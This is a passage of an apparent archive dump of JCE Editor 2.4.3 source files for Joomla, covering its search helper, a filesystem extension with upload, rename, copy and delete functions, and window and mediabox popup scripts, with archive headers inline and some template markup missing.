JApplication::getInstance('site'); $router = $app->getRouter('site'); // get SearchHelper require_once(JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php'); // get router mode $sef = (int) $wf->getParam('search.link.sef_url', 0); // set router off so a raw url is returned by the Search plugin if ($router) { $router->setMode(0); } // slashes cause errors, <> get stripped anyway later on. # causes problems. $searchword = trim(str_replace(array('#', '>', '<', '\\'), '', $filter->clean($query))); $ordering = JRequest::getWord('ordering', null, 'post'); $searchphrase = JRequest::getWord('searchphrase', 'all', 'post'); $areas = JRequest::getVar('areas', null, 'post', 'array'); // if searchword enclosed in double quotes, strip quotes and do exact match if (substr($searchword, 0, 1) == '"' && substr($searchword, -1) == '"') { $searchword = substr($searchword, 1, -1); $searchphrase = 'exact'; } // clean areas if (!empty($areas)) { foreach ($areas as $area) { $areas[] = $filter->clean($area, 'cmd'); } } $event = WF_JOOMLA15 ? 'onSearch' : 'onContentSearch'; // trigger search on loaded plugins $searches = $app->triggerEvent($event, array( $searchword, $searchphrase, $ordering, $areas )); $results = array(); $rows = array(); foreach ($searches as $search) { $rows = array_merge((array) $rows, (array) $search); } for ($i = 0, $count = count($rows); $i < $count; $i++) { $row = &$rows[$i]; $result = new StdClass(); if ($searchphrase == 'exact') { $searchwords = array($searchword); $needle = $searchword; } else { $searchworda = preg_replace('#\xE3\x80\x80#s', ' ', $searchword); $searchwords = preg_split("/\s+/u", $searchworda); $needle = $searchwords[0]; } // get anchors $anchors = self::getAnchors($row->text); if (!empty($anchors)) { $row->anchors = $anchors; } if (method_exists('SearchHelper', 'getActions')) { $row->text = SearchHelper::prepareSearchContent($row->text, $needle); } else { $row->text = SearchHelper::prepareSearchContent($row->text, 200, $needle); } $searchwords = array_unique($searchwords); $searchRegex = '#('; $x = 0; foreach ($searchwords as $k => $hlword) { $searchRegex .= ($x == 0 ? '' : '|'); $searchRegex .= preg_quote($hlword, '#'); $x++; } $searchRegex .= ')#iu'; $row->text = preg_replace($searchRegex, '\0', $row->text); // remove base url if (strpos($row->href, JURI::base(true)) !== false) { $row->href = substr_replace($row->href, '', 0, strlen(JURI::base(true)) + 1); } // convert to SEF if ($router && $sef) { $router->setMode(1); $url = str_replace('&', '&', $row->href); $uri = $router->build($url); $url = $uri->toString(); $row->href = str_replace('/administrator/', '/', $url); } $result->title = $row->title; $result->text = $row->text; $result->link = $row->href; $results[] = $result; } return $results; } private static function getAnchors($content) { preg_match_all('#]+)(name|id)="([a-z]+[\w\-\:\.]*)"([^>]*)>#i', $content, $matches, PREG_SET_ORDER); $anchors = array(); if (!empty($matches)) { foreach ($matches as $match) { if (strpos($match[0], 'href') === false) { $anchors[] = $match[3]; } } } return $anchors; } }com_jce/editor/extensions/filesystem/joomla.php000066600000051015150771500630016020 0ustar00setProperties(array( 'local' => true, 'upload' => array( 'stream' => false, //'chunking' => $chunking, 'unique_filenames' => true ) )); } /** * Get the base directory. * @return string base dir */ function getBaseDir() { return WFUtility::makePath(JPATH_SITE, $this->getRootDir()); } /** * Get the full base url * @return string base url */ function getBaseURL() { return WFUtility::makePath(JURI::root(true), $this->getRootDir()); } /** * Return the full user directory path. Create if required * * @param string The base path * @access public * @return Full path to folder */ function getRootDir() { static $root; if (!isset($root)) { $root = parent::getRootDir(); $wf = WFEditorPlugin::getInstance(); // Restricted Joomla! folders $restricted = explode(',', $wf->getParam('editor.filesystem.joomla.restrict_dir', 'administrator,cache,components,includes,language,libraries,logs,media,modules,plugins,templates,xmlrpc')); $allowroot = $wf->getParam('editor.filesystem.joomla.allow_root', 0); // Revert to default if empty if (empty($root) && !$allowroot) { $root = 'images'; } // Force default if directory is a joomla directory $parts = explode('/', $root); if (in_array(strtolower($parts[0]), $restricted) && !$allowroot) { $root = 'images'; } if (!empty($root)) { // Create the folder $full = WFUtility::makePath(JPATH_SITE, $root); if (!JFolder::exists($full)) { $this->folderCreate($full); } // Fallback $root = JFolder::exists($full) ? $root : 'images'; } } return $root; } function toAbsolute($path) { return WFUtility::makePath($this->getBaseDir(), $path); } function toRelative($path, $isabsolute = true) { // path is relative to Joomla! root, eg: images/folder if ($isabsolute === false) { return rtrim($path, $this->getRootDir()); } // path is absolute return rtrim($path, $this->getBaseDir()); } /** * Determine whether FTP mode is enabled * @return boolean */ function isFtp() { // Initialize variables jimport('joomla.client.helper'); $FTPOptions = JClientHelper::getCredentials('ftp'); return $FTPOptions['enabled'] == 1; } /** * Count the number of folders in a given folder * @return integer Total number of folders * @param string $path Absolute path to folder */ public function countFolders($path) { jimport('joomla.filesystem.folder'); $total = 0; if (strpos($path, $this->getBaseDir()) === false) { $path = WFUtility::makePath($this->getBaseDir(), $path); } if (JFolder::exists($path)) { $folders = JFolder::folders($path); return count($folders); } return 0; } /** * Count the number of files in a folder * @return integer File total * @param string $path Absolute path to folder */ public function countFiles($path) { jimport('joomla.filesystem.file'); if (strpos($path, $this->getBaseDir()) === false) { $path = WFUtility::makePath($this->getBaseDir(), $path); } if (JFolder::exists($path)) { $files = JFolder::files($path, '.', false, false, array('index.html', 'thumbs.db')); return count($files); } return 0; } function getFolders($relative, $filter = '') { $path = WFUtility::makePath($this->getBaseDir(), $relative); $path = WFUtility::fixPath($path); if (!JFolder::exists($path)) { $relative = '/'; $path = $this->getBaseDir(); } $list = JFolder::folders($path, $filter); $folders = array(); if (!empty($list)) { // Sort alphabetically natcasesort($list); foreach ($list as $item) { $item = WFUtility::isUTF8($item) ? $item : utf8_encode($item); $data = array( 'id' => WFUtility::makePath($relative, $item, '/'), 'name' => $item, 'writable' => is_writable(WFUtility::makePath($path, $item)) || $this->isFtp(), 'type' => 'folders' ); $properties = self::getFolderDetails($data['id']); $folders[] = array_merge($data, array('properties' => $properties)); } } return $folders; } function getFiles($relative, $filter = '') { $path = WFUtility::makePath($this->getBaseDir(), $relative); $path = WFUtility::fixPath($path); if (!JFolder::exists($path)) { $relative = '/'; $path = $this->getBaseDir(); } $list = JFolder::files($path, $filter); $files = array(); $x = 1; if (!empty($list)) { // Sort alphabetically natcasesort($list); foreach ($list as $item) { $item = WFUtility::isUTF8($item) ? $item : utf8_encode($item); // create relative file $id = WFUtility::makePath($relative, $item, '/'); // create url $url = WFUtility::makePath($this->getRootDir(), $id, '/'); // remove leading slash $url = ltrim($url, '/'); $data = array( 'id' => $id, 'url' => $url, 'name' => $item, 'writable' => is_writable(WFUtility::makePath($path, $item)) || $this->isFtp(), 'type' => 'files' ); $properties = self::getFileDetails($data['id'], $x); $files[] = array_merge($data, array('properties' => $properties)); $x++; } } return $files; } /** * Get a folders properties * * @return array Array of properties * @param string $dir Folder relative path * @param string $types File Types */ function getFolderDetails($dir) { clearstatcache(); $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($dir)); $date = @filemtime($path); return array('modified' => $date); } /** * Get the source directory of a file path */ function getSourceDir($path) { // return nothing if absolute $path if (preg_match('#^(file|http(s)?):\/\/#', $path)) { return ''; } // remove leading / trailing slash //$path = trim($path, '/'); // directory path relative to base dir if (is_dir(WFUtility::makePath($this->getBaseDir(), $path))) { return $path; } // file url relative to site root if (is_file(WFUtility::makePath(JPATH_SITE, $path))) { return substr(dirname($path), strlen($this->getRootDir())); } return ''; } function isMatch($needle, $haystack) { return $needle == $haystack; } /** * Return constituent parts of a file path eg: base directory, file name * @param $path Relative or absolute path */ public function pathinfo($path) { return pathinfo($path); } /** * Get a files properties * * @return array Array of properties * @param string $file File relative path */ public function getFileDetails($file, $count = 1) { clearstatcache(); $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($file)); $url = WFUtility::makePath($this->getBaseUrl(), rawurldecode($file)); $date = @filemtime($path); $size = @filesize($path); $data = array( 'size' => $size, 'modified' => $date ); if (preg_match('#\.(jpg|jpeg|bmp|gif|tiff|png)#i', $file) && $count <= 100) { $props = @getimagesize($path); /* if (preg_match('#\.(jpg|jpeg|tiff)#i', $file)) { $data = exif_read_data($path, 'IDF0', true, false); if ($data !== false) { $idf = isset($data['IDF0']) ? $data['IDF0'] : array(); $exif = isset($data['EXIF']) ? $data['EXIF'] : array(); $data = array_merge($idf, $exif); } } */ $width = $props[0]; $height = $props[1]; $image = array( 'width' => $width, 'height' => $height, 'preview' => WFUtility::cleanPath($url, '/') ); return array_merge_recursive($data, $image); } return $data; } /** * Delete the relative file(s). * @param $files the relative path to the file name or comma seperated list of multiple paths. * @return string $error on failure. */ public function delete($src) { $path = WFUtility::makePath($this->getBaseDir(), $src); // get error class $result = new WFFileSystemResult(); $path = WFUtility::makePath($this->getBaseDir(), $src); if (is_file($path)) { $result->type = 'files'; $result->state = JFile::delete($path); } else if (is_dir($path)) { $result->type = 'folders'; if ($this->countFiles($path) > 0 || $this->countFolders($path) > 0) { $result->message = JText::sprintf('WF_MANAGER_FOLDER_NOT_EMPTY', basename($path)); } else { $result->state = JFolder::delete($path); } } return $result; } /** * Rename a file. * @param string $src The relative path of the source file * @param string $dest The name of the new file * @return string $error */ public function rename($src, $dest) { $src = WFUtility::makePath($this->getBaseDir(), rawurldecode($src)); $dir = dirname($src); $result = new WFFileSystemResult(); if (is_file($src)) { $ext = JFile::getExt($src); $file = $dest . '.' . $ext; $path = WFUtility::makePath($dir, $file); if (is_file($path)) { return $result; } $result->type = 'files'; $result->state = JFile::move($src, $path); $result->path = $path; } else if (is_dir($src)) { $path = WFUtility::makePath($dir, $dest); if (is_dir($path)) { return $result; } $result->type = 'folders'; $result->state = JFolder::move($src, $path); $result->path = $path; } return $result; } /** * Copy a file. * @param string $files The relative file or comma seperated list of files * @param string $dest The relative path of the destination dir * @return string $error on failure */ public function copy($file, $destination) { $result = new WFFileSystemResult(); $src = WFUtility::makePath($this->getBaseDir(), $file); $dest = WFUtility::makePath($this->getBaseDir(), WFUtility::makePath($destination, basename($file))); // src is a file if (is_file($src)) { $result->type = 'files'; $result->state = JFile::copy($src, $dest); } else if (is_dir($src)) { // Folders cannot be copied into themselves as this creates an infinite copy / paste loop if ($file === $destination) { $result->state = false; $result->message = WFText::_('WF_MANAGER_COPY_INTO_ERROR'); } $result->type = 'folders'; $result->state = JFolder::copy($src, $dest); $result->path = $dest; } return $result; } /** * Copy a file. * @param string $files The relative file or comma seperated list of files * @param string $dest The relative path of the destination dir * @return string $error on failure */ public function move($file, $destination) { $result = new WFFileSystemResult(); $src = WFUtility::makePath($this->getBaseDir(), $file); $dest = WFUtility::makePath($this->getBaseDir(), WFUtility::makePath($destination, basename($file))); if ($src != $dest) { // src is a file if (is_file($src)) { $result->type = 'files'; $result->state = JFile::move($src, $dest); } else if (is_dir($src)) { $result->type = 'folders'; $result->state = JFolder::move($src, $dest); $result->path = $dest; } } return $result; } /** * New folder base function. A wrapper for the JFolder::create function * @param string $folder The folder to create * @return boolean true on success */ public function folderCreate($folder) { if (@JFolder::create($folder)) { $buffer = ''; JFile::write($folder . '/index.html', $buffer); } else { return false; } return true; } /** * New folder * @param string $dir The base dir * @param string $new_dir The folder to be created * @return string $error on failure */ public function createFolder($dir, $new) { $dir = WFUtility::makePath(rawurldecode($dir), $new); $path = WFUtility::makePath($this->getBaseDir(), $dir); $result = new WFFileSystemResult(); $result->state = $this->folderCreate($path); return $result; } public function getDimensions($file) { $path = WFUtility::makePath($this->getBaseDir(), utf8_decode(rawurldecode($file))); $data = array( 'width' => '', 'height' => '' ); if (file_exists($path)) { $dim = @getimagesize($path); $data = array( 'width' => $dim[0], 'height' => $dim[1] ); } return $data; } public function upload($method = 'multipart', $src, $dir, $name, $chunks = 1, $chunk = 0) { jimport('joomla.filesystem.file'); $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($dir)); $dest = WFUtility::makePath($path, $name); // check for safe mode $safe_mode = false; if (function_exists('ini_get')) { $safe_mode = ini_get('safe_mode'); } else { $safe_mode = true; } $result = new WFFileSystemResult(); // get overwrite state $conflict = $this->get('upload_conflict', 'overwrite'); // get suffix $suffix = WFFileBrowser::getFileSuffix(); switch ($method) { case 'multipart' : if ($conflict == 'unique') { // get extension $extension = JFile::getExt($name); // get name without extension $name = JFile::stripExt($name); while (JFile::exists($dest)) { $name .= $suffix; $dest = WFUtility::makePath($path, $name . '.' . $extension); } } if (JFile::upload($src, $dest)) { $result->state = true; $result->path = $dest; } break; case 'multipart-chunking' : if ($safe_mode || !is_writable(dirname($dest))) { $result->message = WFText::_('WF_MANAGER_UPLOAD_NOSUPPORT'); $result->code = 103; } else { if ($chunk == 0 && $overwrite) { // get extension $extension = JFile::getExt($name); // get name without extension $name = JFile::stripExt($name); // make unique file name while (JFile::exists($dest)) { $name .= $suffix; $dest = WFUtility::makePath($path, $name . '.' . $extension); } } $out = fopen($dest, $chunk == 0 ? "wb" : "ab"); if ($out) { // Read binary input stream and append it to temp file $in = fopen($src, "rb"); if ($in) { while ($buff = fread($in, 4096)) { fwrite($out, $buff); } fclose($in); fclose($out); @unlink($src); $result->state = true; if ($chunk == $chunks - 1) { if (is_file($dest)) { $result->path = $dest; } } } else { $result->code = 102; $result->message = 'UPLOAD_INPUT_STREAM_ERROR'; } } else { $result->code = 102; $result->message = 'UPLOAD_OUTPUT_STREAM_ERROR'; } } break; case 'stream' : if ($safe_mode || !is_writable(dirname($dest))) { $result->message = WFText::_('WF_MANAGER_UPLOAD_NOSUPPORT'); } else { // Open destination file $out = fopen($dest, $chunk == 0 ? "wb" : "ab"); if ($out) { // Read binary input stream and append it to temp file $in = fopen("php://input", "rb"); if ($in) { while ($buff = fread($in, 4096)) { fwrite($out, $buff); } if (fclose($out) && is_file($dest)) { $result->state = true; $result->path = $dest; } } } } break; } return $result; } public function exists($path) { $path = JPath::clean(WFUtility::makePath($this->getBaseDir(), rawurldecode($path))); return is_dir($path) || is_file($path); } public function read($file) { $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($file)); return JFile::read($path); } public function write($file, $content) { $path = WFUtility::makePath($this->getBaseDir(), rawurldecode($file)); return JFile::write($path, $content); } public function is_file($path) { $path = WFUtility::makePath($this->getBaseDir(), $path); return is_file($path); } public function is_dir($path) { $path = WFUtility::makePath($this->getBaseDir(), $path); return is_dir($path); } } com_jce/editor/extensions/filesystem/index.html000066600000000054150771500630016020 0ustar00com_jce/editor/extensions/filesystem/joomla.xml000066600000002470150771500630016032 0ustar00 WF_FILESYSTEM_JOOMLA_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_FILESYSTEM_JOOMLA_DESC joomla.php com_jce/editor/extensions/popups/index.html000066600000000054150771500630015162 0ustar00com_jce/editor/extensions/popups/window/js/index.html000066600000000054150771500630017105 0ustar00com_jce/editor/extensions/popups/window/js/window.js000066600000006537150771500630016771 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var JCEWindowPopup={setDimensions:function(w,h){$.Plugin.setDimensions(w,h,'window_popup_');}};WFPopups.addPopup('window',{setup:function(){},check:function(n){var ed=tinyMCEPopup.editor;var oc=ed.dom.getAttrib(n,'onclick')||ed.dom.getAttrib(n,'data-mce-onclick');return oc&&/window\.open/.test(oc);},remove:function(n){if(this.check(n)){n.removeAttribute('onclick');n.removeAttribute('data-mce-onclick');}},getAttributes:function(n){var ed=tinyMCEPopup.editor,data={};var click=ed.dom.getAttrib(n,'onclick')||ed.dom.getAttrib(n,'data-mce-onclick');var data=click.replace(/window\.open\((.*?)\);(return false;)?/,function(a,b){return b;});var parts=data.split(",'");var src=parts[0];var query=$.String.query(src);var title=(parts[1]||'').replace("'","");var features=(parts[2]||'').replace(/'$/,"");var data={};if(query.img){data.src=query.img;} $('#window_popup_title').val(title);features=$.String.query(features.replace(/,/g,'&'));$.each(features,function(k,v){switch(k){case'width':case'height':$('#window_popup_'+k+', #popup_'+k).val(v);break;case'scrollbars':case'resizable':case'location':case'menubar':case'status':case'toolbar':$('#window_popup_'+k).attr('checked',v=='yes');break;case'top':case'left':v=(parseInt(v)==0)?k:v;if(/screen\.avail(Width|Height)/.test(v)){if(/[0-9]+/.test(v)){v='center';}else{v=(k=='top')?'bottom':'right';}} if($('option[value="'+v+'"]','#window_popup_position_'+k).length==0){$('#window_popup_position_'+k).append('');} $('#window_popup_position_'+k).val(v);break;}});},setAttributes:function(n,args){var ed=tinyMCEPopup.editor,args=args||{};this.remove(n);var src=ed.dom.getAttrib(n,'href');var title=$('#window_popup_title').val()||args.title||'';var width=args.width||$('#window_popup_width').val();var height=args.height||$('#window_popup_height').val();var href=src;var query='this.href';if(/\.(jpg|jpeg|png|gif|bmp|tiff)$/i.test(src)){var params={img:src,title:title.replace(' ','_','gi')};if(width){params.width=width;} if(height){params.height=height;} href='index.php?option=com_jce&view=popup&tmpl=component';query="this.href+'&"+decodeURIComponent($.param(params))+"'";} var top=$('#window_popup_position_top').val();switch(top){case'top':top=0;break;case'center':top=height?"'+(screen.availHeight/2-"+(height/2)+")+'":0;break;case'bottom':top=height?"'+(screen.availHeight-"+height+")+'":0;break;} var left=$('#window_popup_position_left').val();switch($('#window_popup_position_left').val()){case'left':left=0;break;case'center':left=width?"'+(screen.availWidth/2-"+(width/2)+")+'":0;break;case'right':left=height?"'+(screen.availWidth-"+width+")+'":0;break;} var features={'scrollbars':'yes','resizable':'yes','location':'yes','menubar':'yes','status':'yes','toolbar':'yes'};$.each(features,function(k,def){var v=$('#window_popup_'+k).is(':checked')?'yes':'no';if(v==def){return;} features[k]=v;});$.extend(features,{'left':left,'top':top});if(width){features.width=width;} if(height){features.height=height;} ed.dom.setAttrib(n,'href',href);ed.dom.setAttrib(n,'data-mce-onclick',"window.open("+query+",'"+encodeURIComponent(title)+"','"+decodeURIComponent($.param(features)).replace(/&/g,',')+"');return false;");}});com_jce/editor/extensions/popups/window/tmpl/default.php000066600000011336150771500630017612 0ustar00
    x
    com_jce/editor/extensions/popups/window/tmpl/index.html000066600000000054150771500630017445 0ustar00com_jce/editor/extensions/popups/window/index.html000066600000000054150771500630016471 0ustar00com_jce/editor/extensions/popups/window/css/index.html000066600000000054150771500630017261 0ustar00com_jce/editor/extensions/popups/window/css/window.css000066600000000702150771500630017305 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ #popup_extension_window input[type="text"]{width:250px;}#popup_extension_window select{width:auto;}#popup_extension_window #window_popup_width,#popup_extension_window #window_popup_height{width:50px;}#window_popup_features{display:none;}com_jce/editor/extensions/popups/window.xml000066600000002022150771500630015213 0ustar00 WF_POPUPS_WINDOW_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_POPUPS_WINDOW_DESC window.php window link,imgmanager_ext com_jce/editor/extensions/popups/jcemediabox.php000066600000005426150771500630016160 0ustar00addScript('jcemediabox', 'extensions/popups/jcemediabox/js'); $document->addStyleSheet('jcemediabox', 'extensions/popups/jcemediabox/css'); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_PLUGINS . '/system/jcemediabox/addons'; $files = JFolder::files($path, '.js'); foreach ($files as $file) { if (strpos('-src.js', $file) === false) { $scripts[] = 'plugins/system/jcemediabox/addons/' . JFile::stripExt($file); } } $document->addScript($scripts, 'joomla'); } } public function getParams() { $wf = WFEditorPlugin::getInstance(); return array( 'width' => 600, 'album' => '#jcemediabox_popup_group', 'multiple' => '#jcemediabox_popup_title,#jcemediabox_popup_caption', 'attribute' => $wf->getParam('popups.jcemediabox.attribute', 'data-mediabox'), 'popup_group' => $wf->getParam('popups.jcemediabox.popup_group', ''), 'popup_icon' => $wf->getParam('popups.jcemediabox.popup_icon', 1), 'popup_icon_position' => $wf->getParam('popups.jcemediabox.popup_icon_position', ''), 'popup_autopopup' => $wf->getParam('popups.jcemediabox.popup_autopopup', ''), 'popup_hide' => $wf->getParam('popups.jcemediabox.popup_hide', 0), 'popup_mediatype' => $wf->getParam('popups.jcemediabox.popup_mediatype', '') ); } public function isEnabled() { $wf = WFEditorPlugin::getInstance(); if (JPluginHelper::isEnabled('system', 'jcemediabox') && $wf->getParam('popups.jcemediabox.enable', 1) == 1) { return true; } return false; } public function checkVersion() { return true; } } ?>com_jce/editor/extensions/popups/jcemediabox/js/index.html000066600000000054150771500630020050 0ustar00com_jce/editor/extensions/popups/jcemediabox/js/jcemediabox.js000066600000017071150771500630020672 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ JCEMediaBox={Popup:{addons:{},setAddons:function(n,o){if(typeof this.addons[n]=='undefined'){this.addons[n]={};} $.extend(this.addons[n],o);},getAddons:function(n){if(n){return this.addons[n];} return this.addons;},getAddon:function(v,n){var t=this,cp=false,r;var addons=this.getAddons(n);$.each(addons,function(addon,o){var fn=o[addon]||function(){};r=fn.call(this,v);if(typeof r!='undefined'){cp=r;}});return cp;}},trim:function(s){return $.trim(s);},setDimensions:function(w,h){$.Plugin.setDimensions(w,h,'jcemediabox_popup_');}};WFPopups.addPopup('jcemediabox',{params:{'attribute':'data-mediabox','popup_group':'','popup_icon':1,'popup_icon_position':'','popup_autopopup':'','popup_hide':0,'popup_mediatype':''},setup:function(){var self=this;$('#jcemediabox_popup_icon').change(function(){self.setIcon();});$('span.add','#jcemediabox_popup_params').click(function(){var $item=$('li:first','#jcemediabox_popup_params').clone().appendTo('#jcemediabox_popup_params');$('input',$item).val('');$('span.add',$item).hide();$('span.remove',$item).css('display','inline-block').click(function(){$item.remove();});});$.each(this.params,function(k,v){if(k==='popup_icon_position'){v=v.replace('icon-','zoom-');} $('#jcemediabox_'+k).val(v);});},check:function(n){return/jce(popup|_popup|lightbox)/.test(n.className);},getMediaType:function(n){var mt;switch(n.type){case'image/gif':case'image/jpeg':case'image/png':case'image/*':case'image':mt='image';break;case'iframe':mt='iframe';break;case'director':case'application/x-director':mt='application/x-director';break;case'windowsmedia':case'mplayer':case'application/x-mplayer2':mt='application/x-mplayer2';break;case'quicktime':case'video/quicktime':mt='video/quicktime';break;case'real':case'realaudio':case'audio/x-pn-realaudio-plugin':mt='audio/x-pn-realaudio-plugin';break;case'divx':case'video/divx':mt='video/divx';break;case'flash':case'application/x-shockwave-flash':mt='application/x-shockwave-flash';break;case'ajax':case'text/xml':case'text/html':mt='text/html';break;} if(!mt&&n.href){var o=JCEMediaBox.Popup.getAddon(n.href);if(o&&o.type){mt=o.type;}} return mt||n.type||'';},getImageType:function(s){var e=/\.(jp(eg|g)|png|bmp|gif|tiff)$/.exec(s);if(e){if(e[1]==="jpg"){e[1]="jpeg";} return"image/"+e[1];} return"image/jpeg";},remove:function(n){var ed=tinyMCEPopup.editor;$.each(['jcepopup','jcelightbox','jcebox','icon-left','icon-right','icon-top-left','icon-top-right','icon-bottom-left','icon-bottom-right','zoom-left','zoom-right','zoom-top-left','zoom-top-right','zoom-bottom-left','zoom-bottom-right','noicon','noshow','autopopup-single','autopopup-multiple'],function(i,v){ed.dom.removeClass(n,v);});ed.dom.setAttrib(n,'data-mediabox','');},convertData:function(s){var a=[];function trim(s){return s.replace(/:"([^"]+)"/,function(a,b){return':"'+b.replace(/^\s+|\s+$/,'').replace(/\s*::\s*/,'::')+'"';});} if(/^{[\w\W]+}$/.test(s)){return $.parseJSON(trim(s));} if(/\w+\[[^\]]+\]/.test(s)){s=s.replace(/([\w]+)\[([^\]]+)\](;)?/g,function(a,b,c,d){return'"'+b+'":"'+tinymce.DOM.encode(c)+'"'+(d?',':'');});return $.parseJSON('{'+trim(s)+'}');}},getAttributes:function(n,index){var ed=tinyMCEPopup.editor,data={},rv,v;index=index||0;index=index||0;var title=ed.dom.getAttrib(n,'title');var rel=ed.dom.getAttrib(n,'rel');var icon=/noicon/g.test(n.className);var hide=/noshow/g.test(n.className);if(/(autopopup(.?|-single|-multiple))/.test(n.className)){v=/autopopup-multiple/.test(n.className)?'autopopup-multiple':'autopopup-single';$('#jcemediabox_popup_autopopup').val(v);} $('#jcemediabox_popup_icon').val(icon?0:1);$('#jcemediabox_popup_icon_position').prop('disabled',icon);$('#jcemediabox_popup_hide').val(hide?1:0);if(s=/(zoom|icon)-(top-right|top-left|bottom-right|bottom-left|left|right)/.exec(n.className)){var v=s[0];if(v){v=v.replace('icon-','zoom-');$('#jcemediabox_popup_icon_position').val(v);}} var relRX=/(\w+|alternate|stylesheet|start|next|prev|contents|index|glossary|copyright|chapter|section|subsection|appendix|help|bookmark|nofollow|licence|tag|friend)\s+?/g;var json=ed.dom.getAttrib(n,'data-json')||ed.dom.getAttrib(n,'data-mediabox');if(json){data=this.convertData(json);} if(rel&&/\w+\[.*\]/.test(rel)){var ra='';if(rv=relRX.exec(rel)){ra=rv[1];rel=rel.replace(relRX,'');} if(/^\w+\[/.test((rel))){data=this.convertData($.trim(rel))||{};data.rel=ra;}}else{var group=$.trim(rel.replace(relRX,''));$('#jcemediabox_popup_group').val(group);} var params=[];if(/::/.test(data.title)){var parts=data.title.split('::');if(parts.length>1){data.caption=parts[1];} data.title=parts[0];} $.each(data,function(k,v){if($('#jcemediabox_popup_'+k).get(0)){v=tinymce.DOM.decode(v);if(k=='title'||k=='caption'){$('input[name^="jcemediabox_popup_'+k+'"]').eq(index).val(v);}else{$('#jcemediabox_popup_'+k).val(v);} delete data[k];}});var x=0;$.each(data,function(k,v){if(v!==''){if(x==0){$('li:first input.name','#jcemediabox_popup_params').val(k);$('li:first input.value','#jcemediabox_popup_params').val(v);}else{var $item=$('li:first','#jcemediabox_popup_params').clone().appendTo('#jcemediabox_popup_params');$('input.name',$item).val(k);$('input.value',$item).val(decodeURIComponent(v));$('span.add',$item).hide();$('span.remove').css('display','inline-block');}} x++;});$('#jcemediabox_popup_mediatype').val(this.getMediaType(n));$.extend(data,{src:ed.dom.getAttrib(n,'href'),type:ed.dom.getAttrib(n,'type')||''});return data;},setAttributes:function(n,args,index){var self=this,ed=tinyMCEPopup.editor;index=index||0;this.remove(n);index=index||0;ed.dom.addClass(n,'jcepopup');var auto=$('#jcemediabox_popup_autopopup').val();if(auto){ed.dom.addClass(n,auto);} var data={};if(args.title){ed.dom.setAttrib(n,'title',args.title);delete args.title;} tinymce.each(['group','width','height'],function(k){var v=$('#jcemediabox_popup_'+k).val();if(v==''||v==null){if(args[k]){v=args[k];}else{return;}} data[k]=v;});tinymce.each(['title','caption'],function(k){var v=$('input[name^=jcemediabox_popup_'+k+']').eq(index).val();if(v==''||v==null||typeof v==='undefined'){if(args[k]){v=args[k];}else{return;}} data[k]=v;});$('li','#jcemediabox_popup_params').each(function(){var k=$('input.name',this).val();var v=$('input.value',this).val();if(k!==''&&v!==''){data[k]=v;}});$.extend(data,args.data||{});if(data.title&&data.caption){data.title=data.title+'::'+data.caption;delete data.caption;} var mt=$('#jcemediabox_popup_mediatype').val()||n.type||data.type||'';if(mt=="image"){mt=this.getImageType(n.href);} ed.dom.setAttrib(n,'type',mt);if(data.type){delete data.type;} var rel=ed.dom.getAttrib(n,'rel','');if(rel){rel=rel.replace(/([a-z0-9]+)(\[([^\]]+)\]);?/gi,'');} var props=$.map(data,function(v,k){return k+'['+v+']';});if(this.params.attribute=='data-mediabox'){ed.dom.setAttrib(n,'data-mediabox',props.join(';'));}else{rel=' '+props.join(';');ed.dom.setAttrib(n,'data-json','');ed.dom.setAttrib(n,'data-mediabox','');} ed.dom.setAttrib(n,'rel',$.trim(rel));if($('#jcemediabox_popup_icon').val()==0){ed.dom.addClass(n,'noicon');}else{ed.dom.addClass(n,$('#jcemediabox_popup_icon_position').val());} if($('#jcemediabox_popup_hide').val()==1){ed.dom.addClass(n,'noshow');} ed.dom.setAttrib(n,'target','_blank');},setIcon:function(){var v=$('#jcemediabox_popup_icon').val();if(parseInt(v)){$('#jcemediabox_popup_icon_position').removeAttr('disabled');}else{$('#jcemediabox_popup_icon_position').attr('disabled','disabled');}},onSelect:function(){},onSelectFile:function(args){$.each(args,function(k,v){$('#jcemediabox_popup_'+k).val(v);});}});com_jce/editor/extensions/popups/jcemediabox/tmpl/default.php000066600000020552150771500630020555 0ustar00
    x
    com_jce/editor/extensions/popups/jcemediabox/tmpl/index.html000066600000000054150771500630020410 0ustar00com_jce/editor/extensions/popups/jcemediabox/index.html000066600000000054150771500630017434 0ustar00com_jce/editor/extensions/popups/jcemediabox/css/index.html000066600000000054150771500630020224 0ustar00com_jce/editor/extensions/popups/jcemediabox/css/jcemediabox.css000066600000002556150771500630021224 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ #popup_extension_jcemediabox input[type="text"]{width:250px;}#popup_extension_jcemediabox select{width:auto;}#popup_extension_jcemediabox #jcemediabox_popup_width,#popup_extension_jcemediabox #jcemediabox_popup_height{width:50px;}#popup_extension_jcemediabox #jcemediabox_popup_icon+label{margin-left:20px;}#popup_extension_jcemediabox p.required{text-align:center;font-weight:bold;color:red;margin:5px 0;}#popup_extension_jcemediabox #jcemediabox_popup_params label{min-width:40px;}#popup_extension_jcemediabox #jcemediabox_popup_params 